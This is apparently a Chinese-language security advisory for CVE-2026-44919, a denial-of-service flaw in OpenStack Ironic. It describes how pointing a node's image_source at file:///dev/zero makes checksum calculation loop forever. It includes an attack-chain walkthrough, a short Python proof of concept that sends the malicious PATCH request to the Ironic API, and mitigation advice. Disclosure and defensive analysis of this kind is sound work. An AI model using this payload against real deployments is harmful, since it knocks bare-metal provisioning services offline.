CVE-2026-44919 CVSS 4.3 中危

OpenStack Ironic 校验和计算无限循环漏洞

披露日期: 2026-05-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-44919

漏洞类型

拒绝服务

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

OpenStack Ironic

漏洞概述

OpenStack Ironic在处理镜像文件时存在一个安全漏洞，主要影响35.x版本及之前的特定提交。当系统配置为使用`file:///dev/zero` URL来处理镜像时，其校验和计算模块会因无法识别无限流而陷入死循环。这种逻辑缺陷导致CPU资源被持续耗尽，进而引发拒绝服务，降低系统可用性。攻击者只需具备低权限且无需用户交互，即可通过网络触发此漏洞。

技术细节

该漏洞的根源在于OpenStack Ironic组件在处理镜像下载及校验和计算时的逻辑缺陷。Ironic负责裸机服务器的置备，其中涉及到镜像的获取与验证。在受影响的版本中，当攻击者能够控制镜像的URL，并将其指向`file:///dev/zero`时，校验和计算模块会尝试读取该文件以生成哈希值。由于`/dev/zero`是一个特殊的设备文件，能够提供无限的空字符流，且校验和计算逻辑未对输入源的长度或类型进行有效限制，导致计算过程陷入死循环。这种无限循环会持续消耗CPU周期和内存资源，最终导致服务不可用。攻击者利用此漏洞可通过网络发起攻击，且仅需低权限即可触发，无需目标用户交互。

攻击链分析

STEP 1

1. 获取访问权限

攻击者获取OpenStack Ironic的低权限账户凭证，能够访问Ironic API进行节点管理操作。

STEP 2

2. 构造恶意URL

攻击者准备恶意的镜像配置，将`image_source`字段设置为指向本地无限数据流的URL：`file:///dev/zero`。

STEP 3

3. 触发漏洞

攻击者通过API请求更新裸机节点的置备配置，提交包含恶意URL的镜像信息。

STEP 4

4. 资源耗尽

Ironic服务尝试下载镜像并计算校验和，由于读取`/dev/zero`产生无限数据流，导致CPU陷入无限循环，服务拒绝响应。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# Conceptual Proof of Concept for CVE-2026-44919
# This demonstrates how a malicious image URL could trigger the infinite loop.

import requests

# Target Ironic API endpoint
ironic_api_url = "http://target-ironic-api:6385/v1/nodes"
node_id = "<TARGET_NODE_UUID>"
auth_token = "<VALID_AUTH_TOKEN>"

# Malicious configuration pointing to /dev/zero
# This causes the checksum calculation to loop infinitely.
payload = {
    "instance_info": {
        "image_source": "file:///dev/zero",
        "image_checksum": "http://example.com/fake_checksum"
    }
}

headers = {
    "Content-Type": "application/json",
    "X-Auth-Token": auth_token
}

try:
    # Send request to update node with malicious image URL
    response = requests.patch(
        f"{ironic_api_url}/{node_id}",
        json=payload,
        headers=headers
    )
    print(f"Request sent with status code: {response.status_code}")
    print("If successful, the Ironic conductor will enter an infinite loop during checksum validation.")
except Exception as e:
    print(f"Error occurred: {e}")

影响范围

OpenStack Ironic <= 35.x (commit a3f6d73 之前)

防御指南

临时缓解措施

建议管理员立即检查OpenStack Ironic的配置，确保镜像源URL白名单中不包含`file://`协议或本地特殊设备文件路径。在无法立即升级的情况下，可以为镜像处理进程设置严格的CPU和执行时间超时限制（如使用ulimit或容器资源限制），以防止无限循环耗尽系统资源，从而缓解拒绝服务的影响。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表